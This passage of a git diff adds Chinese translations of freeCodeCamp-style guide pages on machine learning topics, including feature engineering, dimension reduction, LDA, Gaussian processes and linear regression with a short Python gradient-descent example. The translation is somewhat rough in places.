+*   [Keras](https://keras.io/)
+*   [Caffe2](https://caffe2.ai/)
+*   [胶子](https://github.com/gluon-api/gluon-api/)
+*   [Theano](http://deeplearning.net/software/theano/)
+
+### 更多信息：
+
+*   [深度学习教科书](http://www.deeplearningbook.org)
+*   [深度学习](https://en.wikipedia.org/wiki/Deep_learning)
+*   [FreeCodeCamp神经网络指南](https://github.com/freeCodeCamp/guides/blob/master/src/pages/machine-learning/neural-networks/index.md)
+*   [Imagenet](http://image-net.org/)
+*   [理解卷积神经网络的初学者指南](https://adeshpande3.github.io/adeshpande3.github.io/A-Beginner's-Guide-To-Understanding-Convolutional-Neural-Networks/)
+*   [深度学习简化 - DeepLearning.TV](https://www.youtube.com/playlist?list=PLjJh1vlSEYgvGod9wWiydumYl8hOXixNu)
+*   [神经网络与深度学习](http://neuralnetworksanddeeplearning.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/deep-learning/music-classification/index.md b/client/src/guide/chinese/machine-learning/deep-learning/music-classification/index.md
new file mode 100644
index 0000000000..152eaed0eb
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/deep-learning/music-classification/index.md
@@ -0,0 +1,26 @@
+---
+title: Music Classification
+localeTitle: 音乐分类
+---
+## 音乐分类
+
+音乐分类是另一个可以应用深度学习策略的领域，以获得比传统机器学习方法更高的分类精度。最初用于图像识别和计算机视觉任务的深度神经网络可以通过使用频谱图用于音乐分类。频谱图只不过是一段时间内音乐中频率频谱的直观表示。换句话说，作为合成频率的音乐信号可以被分成其频谱，并且可以在视觉上为每个频率表示以dB为单位的响度。该图像可用于训练对这些谱图进行分类的神经网络。一个很好的用例是类型识别。
+
+### 以下是各种光谱图的示例：
+
+![Spectrogram1](http://deepsound.io/images/new_blues_00.png)
+
+上面的谱图是来自布鲁斯类型的歌曲。频率沿y轴，时间沿x轴。较亮的颜色表示该频率的声音是响亮的，而较暗的颜色表示它们在那些特定的时间点是柔和的。包含如此多数据的这种图像可用于训练神经网络。我们通常使用mel-scaled谱图来进行类型识别，这是由听众判断的音高范围，即我们如何感知这些频率以区分各种类型的组成部分。
+
+**傅里叶变换**
+
+需要知道的一个重要细节是，这种频谱图是在称为傅立叶变换的数学概念的帮助下创建的。傅里叶变换将时间函数分解为构成它的频率。
+
+#### 更多信息
+
+如果您使用的是python，则有许多用于信号处理的库。 [Librosa](https://librosa.github.io/librosa/)是一个着名的，另一个是[scipy](https://scipy.org/) ，也可以用于其他科学目的。利用这些库可以创建mel谱图。
+
+##### 有关上述主题的更多信息，请查看以下链接：
+
+*   [寻找类型](https://hackernoon.com/finding-the-genre-of-a-song-with-deep-learning-da8f59a61194)
+*   [Deepsound](http://deepsound.io/music_genre_recognition.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md b/client/src/guide/chinese/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md
new file mode 100644
index 0000000000..6fdc5ab39d
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md
@@ -0,0 +1,11 @@
+---
+title: Optimization Algorithms for Gradient Descent
+localeTitle: 梯度下降的优化算法
+---
+## 梯度下降的优化算法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/dimension-reduction/index.md b/client/src/guide/chinese/machine-learning/dimension-reduction/index.md
new file mode 100644
index 0000000000..9bf6b40349
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/dimension-reduction/index.md
@@ -0,0 +1,33 @@
+---
+title: Dimension Reduction
+localeTitle: 尺寸减小
+---
+## 尺寸减小
+
+处理大量维度对于机器学习算法来说可能是痛苦的。高维度会增加计算复杂性，增加过度拟合的风险（因为您的算法具有更多自由度），并且数据的稀疏性将增加。因此，降维将将数据投影到维度较小的空间中以限制这些现象。
+
+## 为什么降维有用？
+
+*   投影到两个维度通常用于促进高维数据集的可视化。
+    
+*   当维度可以给出有意义的解释时，沿着该维度的投影可以用于解释某些行为。
+    
+*   在监督学习案例中，降维可用于减少特征的维度，可能导致学习算法的更好性能。
+    
+
+## 降维技术
+
+*   线性判别分析[LDA](http://scikit-learn.org/stable/modules/lda_qda.html)
+*   主成分分析[PCA](http://setosa.io/ev/principal-component-analysis/)
+*   内核PCA
+*   基于图形的内核PCA
+*   t分布式随机邻域嵌入[t-SNE](https://lvdmaaten.github.io/tsne/)
+*   [自动编码器](https://medium.com/towards-data-science/reducing-dimensionality-from-dimensionality-reduction-techniques-f658aec24dfe)
+*   广义判别分析（GDA）
+*   自动编码
+
+#### 更多信息：
+
+*   [主成分分析的分步教程](https://plot.ly/ipython-notebooks/principal-component-analysis/#introduction)
+*   [降维技术](https://medium.com/towards-data-science/reducing-dimensionality-from-dimensionality-reduction-techniques-f658aec24dfe)
+*   [降维技术：从哪里开始](https://blog.treasuredata.com/blog/2016/03/25/dimensionality-reduction-techniques-where-to-begin)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/expectation-maximization-algorithm/index.md b/client/src/guide/chinese/machine-learning/expectation-maximization-algorithm/index.md
new file mode 100644
index 0000000000..2c4ab6616c
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/expectation-maximization-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Expectation Maximization Algorithm
+localeTitle: 期望最大化算法
+---
+#### 推荐阅读：
+
+*   https://en.wikipedia.org/wiki/Expectation%E2%80%93maximization\_algorithm
+*   http://www.nature.com/nbt/journal/v26/n8/full/nbt1406.html
+*   http://www.cc.gatech.edu/~dellaert/em-paper.pdf
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/feature-engineering/index.md b/client/src/guide/chinese/machine-learning/feature-engineering/index.md
new file mode 100644
index 0000000000..3368630883
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/feature-engineering/index.md
@@ -0,0 +1,89 @@
+---
+title: Feature Engineering
+localeTitle: 特色工程
+---
+## 特色工程
+
+机器学习最适合格式良好的数据。特征工程描述了某些技术，以确保我们正在使用我们收集的数据的最佳表示。
+
+## 为什么特征工程有用？
+
+*   特征的数量和质量会影响模型的预测能力。更高质量的功能可以产生更好的模型。
+*   通过获取您拥有的数据来构建更好的模型，并使用其他地方获得的其他主题相关信息对其进行扩充。
+*   新功能可以导致模型预测稳健结果的“突破”。
+
+## 注意事项以工程为特色
+
+*   基于已知特征的新特征创建可以导致多重共线性，即两个特征线性相关的情况。这相当于模型中的“双重浸渍”并且可能导致过度拟合。
+*   更多并不总是更好。添加预测能力较差的功能可以增加计算时间，而不会给模型带来好处。
+
+## 特征工程的示例：
+
+*   如果您有“日期”功能，请尝试将其子集化为“星期几”，“一年中的某一周”或“一年中的某个月”。同样，从“一天中的时间”创建AM / PM功能。
+*   像PCA一样执行数据缩减，然后将PCA中的矢量作为新功能添加到数据中。
+*   通过数字转换当前功能来生成新功能。示例是对数转换数据或将分类特征编码为数字（将低/中/高转换为1/2/3）。
+*   假设您的数据集包含位置信息（城市，州，县等），请使用人口普查数据创建新功能（例如平均收入）。
+
+以下是两种特征工程技术：缩放和选择。
+
+### 特征缩放
+
+我们假设您的数据包含人的体重和身高。这两个特征的原始数量差异很大（例如80千克和180厘米，或175磅对5.9英尺），这可能会影响某些机器学习算法的结果。对于使用[距离函数的](https://en.wikipedia.org/wiki/Euclidean_distance)算法尤其如此。
+
+为了解决这个问题，我们将原始数字表示为0到1范围。我们可以使用以下公式实现： `(x - xMin) / (xMax - xMin)` 。
+
+使用这个公式，我们需要特别注意异常值，因为这些可以通过推高xMax并下推xMin来大大影响结果。这就是为什么在缩放之前经常消除异常值的原因。
+
+### 特征选择
+
+这一切都是为了确定负责我们在数据中观察到的趋势的特征子集。
+
+我们为什么要关心？ [维度的诅咒](https://en.wikipedia.org/wiki/Curse_of_dimensionality)是大数据时代的一大敌人。我们不能使用我们所有的数十到数百个功能。这不仅会提高我们数据的维度（2 ^ n，其中n是特征的数量），而且在特定用例中通常也没有任何意义。想象一下，想要预测明天的天气：在这种情况下，最后几天的天气趋势更可能比在最后几天出生的婴儿更重要。所以你可以很容易地消除婴儿特征。
+
+但是现在忘了宝宝，让我们深入了解更多细节。
+
+#### 过滤和包装
+
+这里我们描述两种一般方法。过滤方法独立于您选择的学习算法，包装方法包含您的学习者。
+
+过滤方法在将数据注入ML算法之前选择要素子集。他们使用例如与待预测变量的相关性来识别要选择的特征子集。这些方法的计算速度相对较快，但没有利用[学习者](https://en.wikipedia.org/wiki/Inductive_bias)的[偏见，](https://en.wikipedia.org/wiki/Inductive_bias)因为过滤的发生与您选择的ML模型无关。
+
+包装搜索算法确实利用了学习偏差，因为它们包含了您选择的ML模型。这些方法的功能是删除删除时分数变化最小的功能，并重复此过程，直到分数发生显着变化。这意味着一遍又一遍地运行学习算法，这会导致大量的计算时间。这些方法也存在过度拟合的危险，因为您基本上是根据您选择的ML模型优化功能集。
+
+#### 关联
+
+选择特征的另一种方法是使用[BOC（贝叶斯最优分类器）](https://scholar.google.de/scholar?q=Bayes+Optimal+Classifier&hl=en&as_sdt=0&as_vis=1&oi=scholart&sa=X&ved=0ahUKEwiO16X0tIbXAhXiKsAKHbGrBzoQgQMIJjAA) 。这里的规则是：
+
+*   如果删除它会降低BOC，则该功能具有很强的相关性
+*   如果某项功能不具有很强的相关性，并且与其他功能相结合，则该功能可以提高BOC
+*   否则一个功能是无关紧要的
+
+好吧，并非总是如此。这取决于您拥有的数据量和竞争信号的强度。您可以通过事先突出显示它来帮助您的算法“专注”重要事项。
+
+*   来自阈值的指标变量：假设您正在研究美国消费者的酒精偏好，并且您的数据集具有年龄特征。您可以为年龄> = 21创建指标变量，以区分超过法定饮酒年龄的受试者。
+*   来自多个功能的指标变量：您正在预测房地产价格，并且您具有n _间卧室和n_间浴室的功能。如果拥有2张床和2个浴室的房屋作为出租房产获得溢价，您可以创建一个指示变量来标记它们。
+*   特殊事件的指标变量：您正在为电子商务网站的每周销售建模。您可以为黑色星期五和圣诞节创建两个指标变量。
+*   类别组的指标变量：您正在分析网站转换，而您的数据集具有分类功能流量_来源。您可以_通过使用“Facebook广告”或“Google Adwords”的流量来源值标记观察结果_来为付费_流量_创建指标变量_ 。
+
+## 互动功能
+
+下一类特征工程涉及突出显示两个或多个特征之间的交互。
+
+你有没有听过这句话，“总和大于部分？”嗯，某些功能可以结合起来提供比个人更多的信息。
+
+具体而言，寻找机会获取多个特征的总和，差异，产品或商。
+
+\*注意：我们不建议使用自动循环来为您的所有功能创建交互。这导致“特征爆炸”。
+
+*   两个特征的总和：假设您希望根据初步销售数据预测收入。您有销售_蓝色_笔和销售_黑色_笔的功能。如果您只关心整体sales\_pens，可以对这些功能进行总结。
+*   两个功能之间的区别：您具有房屋_建造_日期和房屋_购买_日期的功能。您可以利用他们的不同来创建特征房屋_年龄_ at\_purchase。
+*   两个功能的产品：您正在运行定价测试，并且您具有功能价格和指标变量转换。您可以使用他们的产品来创建功能收入。
+*   两个功能的商数：您拥有营销广告系列的数据集，其中包含n _次点击和n次_展示。您可以按展示次数除以点击创造点击_率_ ，让您在不同体积的运动进行比较。
+
+#### 更多信息：
+
+*   [论文探索“文本分类的特征工程”](https://pdfs.semanticscholar.org/6e51/8946c59c8c5d005054af319783b3eba128a9.pdf)
+*   [文章“发现特征工程，如何设计特征以及如何获得它”](https://machinelearningmastery.com/discover-feature-engineering-how-to-engineer-features-and-how-to-get-good-at-it/)
+*   [全面的数据分析指南](https://www.analyticsvidhya.com/blog/2016/01/guide-data-exploration/)
+*   [数据转换](https://onlinecourses.science.psu.edu/stat501/node/318)
+*   [数据科学中的特征工程](https://docs.microsoft.com/en-us/azure/machine-learning/team-data-science-process/create-features)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/gaussian-process/index.md b/client/src/guide/chinese/machine-learning/gaussian-process/index.md
new file mode 100644
index 0000000000..a977d5f7d1
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/gaussian-process/index.md
@@ -0,0 +1,13 @@
+---
+title: Gaussian Process
+localeTitle: 高斯过程
+---
+## 高斯过程
+
+在概率论和统计学中，高斯过程是一种特殊类型的统计模型，其中观察发生在连续域中，例如时间或空间。在高斯过程中，某个连续输入空间中的每个点都与正态分布的随机变量相关联。此外，这些随机变量的每个有限集合都具有多元正态分布，即它们的每个有限线性组合是正态分布的。高斯过程的分布是所有那些（无限多个）随机变量的联合分布，因此，它是具有连续域的函数的分布，例如时间或空间。
+
+作为机器学习算法，高斯过程使用惰性学习和点之间的相似性度量（核函数）来预测训练数据中看不见的点的值。预测不仅仅是对该点的估计，而且还具有不确定性信息 - 它是一维高斯分布（这是该点的边际分布）。
+
+#### 更多信息：
+
+*   [傻瓜的高斯过程](http://katbailey.github.io/post/gaussian-processes-for-dummies/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/glossary/index.md b/client/src/guide/chinese/machine-learning/glossary/index.md
new file mode 100644
index 0000000000..154496ee99
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/glossary/index.md
@@ -0,0 +1,40 @@
+---
+title: Glossary
+localeTitle: 词汇表
+---
+## 词汇表
+
+快速描述常用术语的一两句话。查看各个页面 更多细节。
+
+*   **机器学习** - 统计与计算机科学的交叉 命令教导计算机执行任务而不明确编程。
+*   **深度学习** - 基于学习数据表示的机器学习方法的总称，而不是基于完成给定任务的算法。它包括深层神经网络，深信念网络和递归神经网络等架构。
+*   **神经进化** - 基于通过网络的随机突变通过权重，偏差和架构生成神经网络的机器学习方法的总称。神经进化的最常见形式是增强拓扑的神经进化（ [NEAT](https://en.wikipedia.org/wiki/Neuroevolution_of_augmenting_topologies) ）和交互式约束的神经进化（ [ICONE](http://ikw.uni-osnabrueck.de/~neurokybernetik/media/pdf/2012-1.pdf) ）。
+*   **统计学习** - 以机器学习为目标 统计推断，由此得出数据的结论而不是 专注于预测准确性
+*   **监督学习** - 使用历史数据预测未来。示例：使用房屋销售价格的历史数据来预测房屋的售价。回归和分类受到有监督的学习。
+*   **无监督学习** - 在未标记数据中查找模式。示例：按购买行为对客户进行分组。聚类受无人监督学习。
+*   **强化学习** - 使用模拟或真实环境，其中给予机器学习算法输入和稀疏奖励以构建模型以预测动作。强化学习已被用于[训练虚拟机器人以平衡自己](https://blog.openai.com/competitive-self-play/)并[击败为人类设计的游戏](https://blog.openai.com/openai-baselines-dqn/) 。
+*   **回归** - 用于预测连续值的机器学习技术。线性回归是最流行的回归算法之一。
+*   **分类** - 用于预测离散值的机器学习技术。 Logistic回归是最流行的分类算法之一。
+*   **关联规则学习** - 一种基于规则的机器学习方法，用于发现大型数据库中变量之间的有趣关系。
+```
+f: x -> y 
+ 
+ Here 'f' is a function that takes 'x' as input and produces 'y' as output. 
+ 
+ If the output value 'y' is a real number / continous value then the function 
+ is a regression technique. 
+ 
+ If the output value 'y' is a discrete / categorical value then the function is a classification technique. 
+```
+
+*   **聚类** - 未标记数据的分组。使用统计信息识别模式。
+    
+*   **降维** - 减少数据中随机变量的数量，以获得更准确的预测。
+    
+*   **随机森林** - 随机森林或随机决策森林是用于分类，回归和其他任务的集成学习方法，其通过在训练时构建多个决策树并输出作为类的模式或平均预测的类来操作。个别树木。 - **贝叶斯网络** - 贝叶斯网络是概率图形模型，其通过有向无环图（DAG）将一组随机变量与其条件独立性相关联。它以一种简单的方式将随机变量与其事件预测的条件独立性联系起来。它在线索与事物关系中起着至关重要的作用。 - **偏差 - 方差权衡** - 偏差是有帮助的，因为它有助于我们确定预测值和实际值的平均差异，而方差有助于我们确定同一数据集上不同预测的差异。如果偏差增加，则模型在预测中具有高误差，这使得模型不足。高变化使得模型过度拟合，因为模型仅在给定数据集处连续训练自身，并且对尚未看到的数据执行不良。找到偏差和方差之间的平衡是建立良好模型的关键。
+    
+
+### 更多信息：
+
+*   [术语表 - 机器人](http://robotics.stanford.edu/~ronnyk/glossary.html)
+*   [术语表 - 机器学习，统计学和数据科学](https://www.analyticsvidhya.com/glossary-of-common-statistics-and-machine-learning-terms/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/index.md b/client/src/guide/chinese/machine-learning/index.md
new file mode 100644
index 0000000000..bf944c4ebe
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/index.md
@@ -0,0 +1,60 @@
+---
+title: Machine Learning
+localeTitle: 机器学习
+---
+## 机器学习
+
+人工智能的先驱亚瑟·塞缪尔（Arthur Samuel）在1959年将机器学习定义为“研究领域，使计算机无需明确编程即可学习。”
+
+CMU的Tom Mitchell教授提供了一个更正式的机器学习定义：
+
+> “据说计算机程序可以从经验E中学习某些任务T和绩效测量P，如果它在T中的任务中的表现，由P测量，随着经验E而提高。”
+
+考虑下棋的机器学习算法的例子。在这个例子中， `E`指的是下棋的经验， `T`是下棋的任务， `P`表示程序将赢得下一场国际象棋的概率。
+
+机器学习与人类学习方式完全一样。例如，如果一个人想要学习如何玩扑克，它将首先学习规则。然后它将尝试通过玩游戏获得经验。这种体验只不过是一台机器的庞大数据集，通过它可以做出明智的决策来解决所提出的问题。
+
+通常，机器学习问题可以分为监督学习和无监督学习。在监督学习中，您有输入和标记输出，并且您怀疑输入和标记输出之间存在关系。当您既不知道标记输出是什么，也不知道关系存在时，无监督学习将帮助您找到数据中的结构（如果有）。
+
+我们已经涵盖了机器学习的两个主要类别，但机器学习有四大类：
+
+1.  监督学习
+2.  无人监督的学习
+3.  半监督学习
+4.  强化学习
+
+### 监督学习
+
+监督学习是从监督训练数据推断功能的机器学习任务。培训 数据由一组训练样例组成。在监督学习中，每个示例都是由输入对象组成的对 （通常是矢量）和期望的输出值（也称为监控信号）。此外，监督学习可以作为2范式，分类和回归。
+
+#### 监督学习的基本流程图/步骤
+
+1.  收集训练集。
+2.  将训练集划分为输入对象（要素）和输出对象（类或值）
+3.  决定您将应用，回归或分类器
+4.  决定你将应用哪种算法，SVM，深网等
+5.  在训练集上运行算法并使用该模型进行预测
+
+#### 课程：
+
+1.  [机器学习简介](https://www.udacity.com/course/intro-to-machine-learning--ud120?autoenroll=true)
+2.  [机器学习 - 教授：Andrew Ng](https://www.coursera.org/learn/machine-learning)
+3.  [使用Python进行数据科学和机器学习 - 动手实践！](https://www.udemy.com/data-science-and-machine-learning-with-python-hands-on/)
+4.  [机器学习](http://ciml.info/)
+5.  [分析边缘 - 教授：麻省理工学院](https://www.edx.org/course/the-analytics-edge)
+
+#### 视频资源：
+
+1.  [Siraj Raval的Youtube频道](https://www.youtube.com/channel/UCWN3xxRkmTPmbKwht9FuE5A)
+2.  [Sentdex的Youtube频道](https://www.youtube.com/channel/UCfzlCWGWYyIQ0aLC5w48gBQ)
+
+#### 更多信息：
+
+1.  [维基百科上的机器学习](https://en.wikipedia.org/wiki/Machine_learning)
+2.  [机器学习揭秘：Youtube](https://www.youtube.com/watch?v=83uAOzhzs-U)
+3.  如果您想要简要介绍机器学习，并且您更喜欢视频，请尝试使用此[机器学习介绍视频](https://youtu.be/cKxRvEZd3Mw)
+4.  如果您想知道如何继续学习机器学习，请看一下这个[视频](https://youtu.be/nKW8Ndu7Mjw)
+
+## 实验室
+
+[使用Azure Machine Learning Studio构建智能应用程序](https://github.com/Microsoft/computerscience/blob/master/Labs/AI%20and%20Machine%20Learning/Azure%20Machine%20Learning/Azure%20Machine%20Learning%20(Node).md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/latent-dirichlet-allocation/index.md b/client/src/guide/chinese/machine-learning/latent-dirichlet-allocation/index.md
new file mode 100644
index 0000000000..733640a9e6
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/latent-dirichlet-allocation/index.md
@@ -0,0 +1,66 @@
+---
+title: Latent Dirichlet Allocation
+localeTitle: 潜在的Dirichlet分配
+---
+在自然语言处理中，潜在Dirichlet分配（LDA）是一种生成统计模型，它允许未观察到的组解释观察集，解释为什么数据的某些部分是相似的。例如，如果观察是收集到文档中的单词，则假定每个文档是少量主题的混合，并且每个单词的创建可归因于文档的主题之一。 LDA是主题模型的示例。
+
+假设您有以下句子：
+
+我早餐吃了香蕉和菠菜冰沙 我喜欢吃西兰花和香蕉。 龙猫和小猫很可爱。 我姐姐昨天收养了一只小猫。 看看这只可爱的仓鼠嚼着一块西兰花。
+
+Latent Dirichlet分配是一种自动发现这些句子所包含的主题的方法。例如，给定这些句子并询问2个主题，LDA可能会产生类似的东西
+
+句子1和2：100％主题A. 句子3和4：100％主题B. 句子5：60％主题A，40％主题B. 主题A：30％西兰花，15％香蕉，10％早餐，10％咀嚼，......（此时，您可以将主题A解释为关于食物） 主题B：20％的龙猫，20％的小猫，20％的可爱，15％的仓鼠，......（此时，您可以将主题B解释为关于可爱的动物）
+
+当然，问题是：LDA如何执行这一发现？
+
+LDA模型
+
+更详细地说，LDA将文档表示为以某些概率吐出单词的主题的混合。它假设文档以下列方式生成：在编写每个文档时，您
+
+确定文档将具有的字数N（例如，根据泊松分布）。 为文档选择主题混合（根据固定的K主题集上的Dirichlet分布）。例如，假设我们上面有两个食物和可爱的动物主题，你可以选择由1/3食物和2/3可爱动物组成的文件。 通过以下方式生成文档中的每个单词： ...。首先选择一个主题（根据您在上面采样的多项分布;例如，您可以选择1/3概率的食物主题和2/3概率的可爱动物主题）。 ......然后使用主题生成单词本身（根据主题的多项分布）。例如，食物主题可能输出概率为30％的“西兰花”，概率为15％的“香蕉”，依此类推。
+
+假设这个文档集合的生成模型，LDA然后尝试从文档中回溯以找到可能已经生成集合的一组主题。
+
+例
+
+我们举个例子吧。根据上面的过程，当你生成一些特定的文件D时，你可能会
+
+决定D将是关于食物的1/2和关于可爱动物的1/2。 选择5为D中的单词数。 从食物主题中选择第一个单词，然后给出“西兰花”这个词。 选择第二个词来自可爱的动物主题，它给你“熊猫”。 选择第三个词来自可爱的动物话题，给你“可爱”。 选择第四个词来源于食物主题，给你“樱桃”。 从食物主题中选出第五个词，给你“吃”。
+
+因此，在LDA模型下生成的文件将是“西兰花熊猫可爱的樱桃吃”（注意LDA是一个词袋模型）。
+
+学习
+
+所以现在假设你有一套文件。您已经选择了一些固定数量的K主题来发现，并希望使用LDA来学习每个文档的主题表示以及与每个主题相关联的单词。你怎么做到这一点？一种方式（称为崩溃的吉布斯采样\*）如下：
+
+浏览每个文档，并将文档中的每个单词随机分配给K个主题之一。 请注意，此随机分配已经为您提供了所有主题的主题表示和所有主题的单词分布（尽管不是很好）。 所以要改进它们，为每个文件d ...... ......。浏览d中的每个单词w ... .......并且对于每个主题t，计算两件事：1）p（主题t |文档d）=文档d中当前分配给主题t的单词的比例，以及2）p（单词w |主题t） ）=对来自该单词w的所有文档的主题t的分配比例。重新分配wa新主题，你选择主题t与概率p（主题t |文件d）\* p（单词w |主题t）（根据我们的生成模型，这基本上是主题t生成单词w的概率，所以它有意义的是我们用这个概率重新采样当前单词的主题）。 （另外，我在这里讨论了一些事情，例如在这些概率中使用先验/伪计算。） .......换句话说，在这一步中，我们假设除了当前单词之外的所有主题分配都是正确的，然后使用我们的文档生成模型更新当前单词的赋值。 在重复上一步骤很多次后，您最终会达到一个大致稳定的状态，您的任务非常好。因此，使用这些分配来估计每个文档的主题混合（通过计算分配给该文档中每个主题的单词的比例）和与每个主题相关联的单词（通过计算分配给每个主题的单词的比例）。
+
+Layman的解释
+
+如果上面的讨论是一个小眼镜，这是另一种在不同领域看待LDA的方法。
+
+假设你刚搬到一个新的城市。你是一个时髦人士和动漫迷，所以你想知道其他时尚人士和动漫爱好者往往会在哪里闲逛。当然，作为一个时髦人士，你知道你不能只是问，所以你做了什么？
+
+这是一个场景：你在整个城镇范围内找出一堆不同的场所（文件），记下每个人中挂出的人（话语）（例如，爱丽丝在商场和公园里闲逛，鲍勃挂出来电影院和公园等等。至关重要的是，您不了解每个机构的典型利益集团（主题），也不了解每个人的不同利益。
+
+因此，您需要选择一些K类别来学习（即，您想要了解人们所属的K类最重要的类别），并首先猜测为什么您会看到人们在哪里。例如，你最初猜测爱丽丝是在商场，因为对X有兴趣的人喜欢在那里闲逛;当你在公园看到她时，你猜是因为她对Y有兴趣的朋友喜欢在那里闲逛;当你在电影院看到鲍勃时，你随机猜测是因为这个城市的Z人真的很喜欢看电影;等等。
+
+当然，你的随机猜测很可能是不正确的（毕竟它们是随机的猜测！），所以你想改进它们。这样做的一种方法是：
+
+选择一个地方和一个人（例如，在商场的爱丽丝）。 为什么Alice很可能在商场？可能是因为同样兴趣的商场里的其他人给她发了一条消息告诉她要来。 换句话说，购物中心对X有兴趣的人越多，并且更强的Alice与兴趣X相关联（在她去的所有其他地方），Alice越有可能因为兴趣而在商场X。 因此，对Alice为什么在购物中心进行新的猜测，根据您认为的可能性选择一种可能性。
+
+一遍又一遍地穿过每个地方和人。你的猜测一直在变得越来越好（毕竟，如果你注意到很多极客在书店里闲逛，你怀疑爱丽丝自己非常讨厌，那么爱丽丝在书店是个好消息，因为她的极客朋友告诉你她去那里;现在你已经更好地了解为什么爱丽丝可能在书店，你可以依次使用这些知识来改善你为什么其他人都在哪里的猜测，所以最终你可以停下来更新。然后拍摄猜测的快照（或多个快照），并使用它来获取您想要的所有信息：
+
+对于每个类别，您可以计算分配到该类别的人员，以确定人们对此特别感兴趣的内容。通过观察人们自己，你也可以解释这个类别（例如，如果X类包含很多身穿运动衫并带着篮球运动的高个子人，你可能会将X解释为“篮球运动员”组）。 对于每个地点P和兴趣类别C，您可以计算P处的人员比例（因为当前的分配集合），这些给出了P的表示。例如，您可能会了解到挂起的人Barnes＆Noble的成员包括10％的赶时髦的人，50％的动漫迷，10％的运动员和30％的大学生。
+
+真实世界的例子
+
+最后，让我们来看一个真实世界的例子。我不久前将LDA应用于一组Sarah Palin的电子邮件（请参阅http://blog.echen.me/2011/06/27/ ...以获取博客文章或http://sarah-palin.heroku.com /对于允许您通过LDA学习的主题浏览电子邮件的应用程序，所以这里是算法学到的一些主题：
+
+Trig /家庭/灵感：家庭，网站，邮件，上帝，儿子，从，祝贺，孩子，生活，孩子，向下，三角，婴儿，出生，爱，你，综合症，非常，特别，保佑，老，丈夫，年，谢谢，最好，...... 野生动物/ BP腐蚀：游戏，鱼，驼鹿，野生动物，狩猎，熊，极地，熊，生存，管理，地区，董事会，狩猎，狼，控制，部门，年，使用，狼，栖息地，猎人，驯鹿，程序，丹佛，钓鱼，...... 能源/燃料/石油/采矿：能源，燃料，成本，石油，阿拉斯加，价格，成本，诺姆，现在，高，正在，家庭，公共，电力，矿山，危机，价格，资源，需要，社区，费尔班克斯，回扣，使用，采矿，村庄，...... 天然气：天然气，石油，管道，agia，项目，自然，北方，生产商，公司，税，公司，能源，发展，坡，生产，资源，线，气体，transcanada，说，亿，计划，管理，百万，工业，...... 教育/废物：学校，废物，教育，学生，学校，百万，阅读，电子邮件，市场，政策，学生，年，高，新闻，国家，程序，第一次，报告，业务，管理，公告，信息，报告， 2008年，季度...... 总统竞选/选举：邮件，网络，来自，谢谢，你，盒子，麦凯恩，莎拉，非常，良好，伟大，约翰，希望，总统，真诚，伊斯拉，工作，保持，制造，添加，家庭，共和党，支持，做，宝，...
+
+#### 推荐阅读：
+
+*   https://en.wikipedia.org/wiki/Latent _Dirichlet_分配
+*   http://blog.echen.me/2011/08/22/introduction-to-latent-dirichlet-allocation/
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/linear-regression/index.md b/client/src/guide/chinese/machine-learning/linear-regression/index.md
new file mode 100644
index 0000000000..356c88e9b7
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/linear-regression/index.md
@@ -0,0 +1,67 @@
+---
+title: Linear Regression
+localeTitle: 线性回归
+---
+## 线性回归
+
+线性回归有助于我们根据其他变量Y的得分预测变量X的得分。当绘制变量Y时，线性回归找到通过点的最佳拟合直线。最合适的线称为回归线。
+
+[在线线性回归模拟器](https://www.mladdict.com/linear-regression-simulator)
+
+在Python中：
+
+```py
+#Price of wheat/kg and the average price of bread 
+ wheat_and_bread = [[0.5,5],[0.6,5.5],[0.8,6],[1.1,6.8],[1.4,7]] 
+ 
+ def step_gradient(b_current, m_current, points, learningRate): 
+    b_gradient = 0 
+    m_gradient = 0 
+    N = float(len(points)) 
+    for i in range(0, len(points)): 
+        x = points[i][0] 
+        y = points[i][1] 
+        b_gradient += -(2/N) * (y - ((m_current * x) + b_current)) 
+        m_gradient += -(2/N) * x * (y - ((m_current * x) + b_current)) 
+    new_b = b_current - (learningRate * b_gradient) 
+    new_m = m_current - (learningRate * m_gradient) 
+    return [new_b, new_m] 
+ 
+ def gradient_descent_runner(points, starting_b, starting_m, learning_rate, num_iterations): 
+    b = starting_b 
+    m = starting_m 
+    for i in range(num_iterations): 
+        b, m = step_gradient(b, m, points, learning_rate) 
+    return [b, m] 
+ 
+ gradient_descent_runner(wheat_and_bread, 1, 1, 0.01, 100) 
+```
+
+代码示例来自[本文](http://blog.floydhub.com/coding-the-history-of-deep-learning/) 。它还解释了梯度下降和深度学习的其他基本概念。
+
+值得注意的是，并非所有线性回归都是通过梯度下降完成的。正规方程也可以用于找到线性回归系数，但是，这使用矩阵乘法，因此使用超过100,000或1,000,000个实例可能非常耗时。
+
+在Python中： 使用scikit库直接应用，因此即使在大型数据集上也可以轻松使用线性回归。
+
+```py
+import pandas as pd 
+ from sklearn.cross_validation import train_test_split 
+ from sklearn.linear_model import LinearRegression as lr 
+ train = pd.read_csv('../input/train.csv') 
+ test = pd.read_csv('../input/test.csv') 
